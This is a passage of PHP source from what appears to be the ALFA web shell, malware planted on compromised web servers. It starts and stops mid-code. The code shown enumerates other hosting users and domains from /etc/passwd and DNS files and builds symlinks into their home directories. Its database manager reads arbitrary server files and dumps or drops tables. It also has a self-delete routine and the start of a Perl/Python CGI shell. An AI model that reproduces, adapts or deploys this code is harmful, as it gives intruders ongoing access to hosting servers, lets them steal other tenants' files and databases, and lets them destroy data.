				$sympath = str_replace("{user}", $owner, $makepwd);
				$http = "http://".$domain;
				echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
				$count++;
				$temp_black[] = $owner.$domain;
				$finded = true;
			}
		}
		if(!$finded){
			$anonymous_users[] = $owner;
		}
	}else{
 		if($state == "named.conf"){
			if(@strstr($line, 'zone')){
				preg_match_all('#zone "(.*)"#',$line, $data);
				$domain = $data[1][0];
			}else{
				continue;
			}
		}elseif($state == "named" || $state == "valiases"){
			if($line == "." || $line == "..")continue;
			if($state == "named")$line = rtrim($line, ".db");
			$domain = $line;
		}
		if(strlen(trim($domain)) > 2 && $state != "passwd"){
			if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue;
			if($is_posix){
				$user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
				$owner = $user["name"];
			}elseif($can_runcmd){
				$owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false);
			}
		}
	}
	if(!$anonymous){
		if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "http://".$domain;
		if($state == "passwd"){
			$http = "javascript:alert('we cant find domain...')";
		}
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
		$count++;
		$f_black[] = $owner.$domain;
	}
}
if($anonymous){
	foreach($anonymous_users as $owner){
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "javascript:alert('we cant find domain...')";
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
		$count++;
	}
}
$cant_symlink = false;
}else{
$is_direct = false;
$makepwd = alfaMakePwd();
if(_alfa_file_exists("/etc/virtual/domainowners")){
	$makepwd = "/home/{user}/public_html";
	$is_direct = true;
}
$sole = _alfa_file("/etc/virtual/domainowners");
$count=1;
echo $table_header;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
if($sole){
	foreach($sole as $visible){
		if(@strstr($visible,":")){
			$solevisible = explode(':', $visible);
			$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
			echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
		}
	}
}else{
	$passwd = _alfa_file("/etc/passwd");
	if($passwd){
		$html = "";
		$is_named = false;
		$users = array();
		$domains = array();
		$uknowns = array();
		foreach($passwd as $user){
			$user = trim($user);
			$expl = explode(":", $user);
			if((int)$expl[2] < 500)continue;
			$users[$expl[0]] = $expl[5];
		}
		$site_domains = @scandir("/etc/virtual/");
		if(!$site_domains){
			$site_domains = alfaEx("ls /etc/virtual/");
			$site_domains = explode("\n", $site_domains);
			if(!$site_domains){
				$site_domains = _alfa_file("/etc/named.conf");
				if($site_domains){$is_named = true;}
			}
		}
		foreach($site_domains as $line){
			if($is_named){
				if(@strstr($line, 'zone')){
					preg_match_all('#zone "(.*)"#',$line, $data);
					$domain = $data[1][0];
					if(strlen($domain  > 2) && !empty($domain)){
						$domains[] = $domain;
					}
				}
			}else{
				$domains[] = $line;
			}
		}
		$x = 1;
		foreach($users as $user => $home){
			foreach($domains as $domain){
				$user_len = strlen($user) - 1;
				$sub_domain = str_replace(array("-","."), "", $domain);
				$five_user = substr($user, 0,$user_len);
				$five_domain = substr($sub_domain, 0,$user_len);
				if($five_user == $five_domain){
					if($is_direct){
						$cwd = str_replace("{user}", $user, $makepwd);
					}else{
						$expl = explode("}/", $makepwd);
						$cwd = $home."/".$expl[1];
					}
					$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
				}else{
					$uknowns[$user] = $home;
				}
			}
		}
		$uknowns = array_unique($uknowns);
		foreach($uknowns as $user => $home){
			if($is_direct){
				$cwd = str_replace("{user}", $user, $makepwd);
			}else{
				$expl = explode("}/", $makepwd);
				$cwd = $home."/".$expl[1];
			}
			$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
		}
		echo($html);
	}
}
echo "</table>";
$cant_symlink = false;
}
}else{
	echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
	$cant_symlink = false;
}
if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case 'mysql':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
	return true;
}else{
	$this->mysqli_connect_error = true;
	$this->mysqli_connect_error_msg = mysqli_connect_error();
	return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case 'mysql':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case 'mysql':
return $this->res = @mysqli_query($this->link,$str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case 'mysql':
return @mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error(){
switch($this->type){
case 'mysql':
return @mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysqli_set_charset($this->link,$str);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table solevisible');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
alfahead();
$form_visibility = "table";
if(isset($_POST['sql_host'])){
	$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
	if($connection_db && !empty($_POST['sql_base'])){
		$form_visibility = "none";
	}
}
$database_list = array();
echo "
<div class='header' style='min-height:300px;'>".($form_visibility!="none"?"<center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>":"")."
<div class='sf' class='db-opt-id'><table style='margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."' cellpadding='2' cellspacing='0'><tr>
<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
<td><select name='type'><option value='mysql' selected>mysql</option></select></td>
<td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
if(isset($_POST['sql_host'])){
if($connection_db){
$db->setCharset('utf8');
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}else{
	echo $tmp;
}
}else
echo $tmp;
$curr_mysql_id = $_POST['current_mysql_id'];
echo "</td>
<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>
<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
</tr>
</table>";
if($db->mysqli_connect_error){
	echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">'.$db->mysqli_connect_error_msg.'</div>';
}
if(!empty($curr_mysql_id)){
	$sql_title_db = "";
	if(!empty($_POST['sql_base'])){
		$sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';";
	}
	echo "<script>mysql_cache['".$curr_mysql_id."']['host']='".addslashes($_POST['sql_host'])."';mysql_cache['".$curr_mysql_id."']['user']='".addslashes($_POST['sql_login'])."';mysql_cache['".$curr_mysql_id."']['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['".$curr_mysql_id."']['db']='".addslashes($_POST['sql_base'])."';mysql_cache['".$curr_mysql_id."']['charset']='".addslashes($_POST['charset'])."';mysql_cache['".$curr_mysql_id."']['type']='".addslashes($_POST['type'])."';mysql_cache['".$curr_mysql_id."']['count']='".addslashes($_POST['sql_count'])."';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";
}
if(isset($db) && $db->link){
if(!empty($_POST['sql_base'])){
echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'>&#x3C;&#x3C;</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='".(empty($_POST['sql_count'])?"false":"true")."' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
foreach ($database_list as $db_name) {
	echo '<li><div class="block"><i></i><b></b><a sql_count="'.(empty($_POST['sql_count'])?"false":"true").'" db_target="'.$db_name.'" onclick="alfaMysqlExpander(this);" class="expander cls-'.$db_name.'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/'.($db_name == $_POST['sql_base']?"b_minus.png":"b_plus.png").'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">'.$db_name.'</span><div class="clearfloat"></div><div db_name="'.$db_name.'" mode="'.($db_name == $_POST['sql_base']?"loaded":"no").'" class="list_container cls-'.$db_name.'"><div>';
	if($db_name == $_POST['sql_base']){
		$db->selectdb($_POST['sql_base']);
		$tbls_res = $db->listTables();
		echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-'.$db_name.'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
		while($item = $db->fetch($tbls_res)){
		list($key, $value) = each($item);
		if(!empty($_POST['sql_count']))
		$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
		$value = htmlspecialchars($value);
		echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a class='db-opt-id' db_target='".$db_name."' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
		}
		echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-'.$db_name.'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-'.$db_name.'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="'.$db_name.'" target=".cls-'.$db_name.'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
	}
	echo "</div></li>";
}
echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='".$_POST['sql_base']."' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
}else{
echo htmlspecialchars($db->error());
}
echo '</div>';
alfafooter();
}
function alfaSql_manager_api(){
	$db = $_POST["alfa1"];
	$type = $_POST["alfa2"];
	$sql_count = $_POST["alfa3"] == "true" ? true : false;
	$db = @json_decode($db, true);
	$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
	@mysqli_set_charset($conn, "utf8");
	if($conn){
		if($type == "load_all_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
			$count = 0;
			while($row = @mysqli_fetch_assoc($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
			}
			foreach($db["databases"] as $db){
				if(!isset($tables[$db])){
					$tables[$db] = null;
				}
			}
			echo @json_encode($tables);
		}elseif($type == "dump_drop"){
			if($db["mode"] == "drop"){
				foreach ($db["tables"] as $table) {
					@mysqli_query($conn, "DROP TABLE `".$table."`;");
				}
				$tables = array();
				$q_tables = @mysqli_query($conn, "SHOW TABLES;");
				$count = 0;
				while($row = @mysqli_fetch_array($q_tables)){
					if($sql_count){
						$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
						if($count_q){
							$count = @mysqli_fetch_row($count_q);
							$count = $count[0];
						}
					}
					$tables[] = array("name" => $row[0], "count" => (int)$count);
				}
				echo @json_encode($tables);
			}else{
				if(strlen(alfaEx("mysqldump"))>0){
					alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])."  > ".$db["dump_file"]);
				}else{
					$fp = @fopen($db["dump_file"], "w");
					foreach ($db["tables"] as $table) {
						$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
						$create = @mysqli_fetch_array($res);
						$sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n";
						if($fp) fwrite($fp, $sql); else echo($sql);
						$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
						$head = true;
						while($item = @mysqli_fetch_assoc($tbl_data)){
							$columns = array();
							foreach($item as $k=>$v) {
							if($v == null)
							$item[$k] = "''";
							elseif(is_numeric($v))
							$item[$k] = $v;
							else
							$item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
							$columns[] = "`".$k."`";
							}
							if($head) {
							$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
							$head = false;
							} else
							$sql = "\n\t,(".implode(", ", $item).')';
							if($fp) fwrite($fp, $sql); else echo($sql);
						}
						if(!$head)
							if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
					}
				}
				echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
			}
		}elseif($type == "load_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SHOW TABLES;");
			$count = 0;
			while($row = @mysqli_fetch_array($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[] = array("name" => $row[0], "count" => (int)$count);
			}
			echo @json_encode($tables);
		}elseif($type == "alter"){
			$db["alter"]["type"] = strtolower($db["alter"]["type"]);
			$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
			$text_input = array("longtext", "text", "mediumtext", "tinytext");
			if(in_array($db["alter"]["type"], $text_input)){
				$inputs = $db["alter"]["type"];
			}
			@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
			$error = @mysqli_error($conn);
			if($error){
				echo $error;
			}else{
				echo "ok";
			}
		}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
			if($type == "edit"){
				$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
				$row = @mysqli_fetch_assoc($q);
				if($row){
					$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
					$columns = array();
					$edit_data = array();
					while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
						$input = array("col_type" => $row2["COLUMN_TYPE"]);
						$row2["type"] = strtolower($row2["type"]);
						switch($row2["type"]){
							case "longtext": case "text": case "mediumtext": case "tinytext":
								$input["tag"] = "textarea";
							break;
							case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
								$input["tag"] = "input";
								$input["type"] = "number";
							break;
							default:
								$input["tag"] = "input";
								$input["type"] = "text";
						}
						$columns[$row2["name"]] = $input;
					}
					foreach($row as $key => $v){
						$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
					}
					echo @json_encode($edit_data);
				}
			}else{
				if($type == "delete_all"){
					$rows = implode("', '", $db["rows"]);
				}else{
					$rows = addslashes($db["key"]);
				}
				$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
				@mysqli_query($conn, $query);
				$error = @mysqli_error($conn);
				if($error){
				 	$status = false;
				}else{
				 	$status = true;
				}
				echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
			}
		}elseif($type == "update"){
			$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
			foreach($db["data"] as $col => $val){
				$query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
			}
			$query = substr($query, 0, -1);
		    $query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}elseif($type == "insert"){
			$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
			foreach($db["data"] as $col => $val){
				$cols .= $col . ",";
				$vals .= "'".mysqli_real_escape_string($conn, $val)."',";
			}
			$cols = substr($cols, 0, -1);
			$vals = substr($vals, 0, -1);
			$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}else{
			$pages = 0;
			$title = false;
			$query = "";
			$tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
			$line = 0;
			$tables = array();
			$columns = array();
			if($type == "load_data"){
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
				$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
				$tbl_count = @mysqli_fetch_row($tbl_count_q);
				$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
				while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
					$columns[] = $row2;
				}
				if($tbl_count[0] > 30){
					$pages = ceil($tbl_count[0] / 30);
				}
			}elseif($type == "query"){
				$query = $db["query"];
			}elseif($type == "page"){
				$db["page"] = (int)$db["page"] - 1;
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
			}elseif($type == "search"){
				$search = "";
				$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
				foreach($db["search"] as $col => $val){
					$search_noval_r = in_array($val["opt"], $search_noval);
					if(empty($val["value"]) && !$search_noval_r)continue;
					if(strstr($val["opt"], "...") || $search_noval_r){
						$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
						$search .= $col . " " . $val["opt"] . " AND ";
					}else{
						$search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
					}
				}
				$search .= "1=1";
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
			}
			$q_tables = @mysqli_query($conn, $query);
			if(!$q_tables){
				echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
				return false;
			}
			$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
			if($col_key){
				$col_key = @mysqli_fetch_row($col_key);
				$col_key = $col_key[0];
				if(!empty($col_key)){
					$tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="'.$col_key.'" tbl_name="'.$db["table"].'" db_id="'.$db["db_id"].'" 	db_target="'.$db["db"].'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
				}
			}else{
				$col_key = false;
			}
			while($item = @mysqli_fetch_assoc($q_tables)){
				if(!$title){
					$tbl_content .= '<tr style="background-color:#305b8e;">';
					if($col_key){
						$tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="'.$db["db_id"].'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
					}
					foreach($item as $key => $value){
						$tbl_content .= '<th>'.$key.'</th>';
					}
					reset($item);
					$title=true;
					$tbl_content .= '</tr><tr>';
				}

				if($col_key){
					$cacheMsg = '<td style="text-align:center;"><input row_id="'.$line.'" type="checkbox" name="tbl_rows_checkbox[]" value="'.$item[$col_key].'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" row_id="'.$line.'" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
				}
				$tbl_content .= '<tr class="tbl_row tbl_row_l'.$line.'">'.$cacheMsg;
				$line++;
				foreach($item as $key => $value){
					if($value == null){
						$tbl_content .= '<td><i>null</i></td>';
					}else{
						$tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'</td>';
				}
				}
				$tbl_content .= '</tr>';
			}
			$tbl_content .= '</table>';
			if(!$title){
				$tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
			}
			echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
		}
		@mysqli_close($conn);
	}
}
function alfaselfrm(){
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
echo(__pre().'<center>');
if(@unlink($GLOBALS['__file_path'])){
echo('<b>Shell has been removed</i> :)</b>');
}else{
echo 'unlink error!';
}
echo('</center>');
}
if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
echo "<div class=header>";
echo "
<center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
echo '</p></center></div>';
}
}
function alfacgishell(){
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
if(!in_array($_POST['alfa1'],array('perl','py'))){
$div = "</div>";
echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>';
}
if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){
@mkdir('cgialfa',0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$name = $_POST['alfa1'].'.alfa';
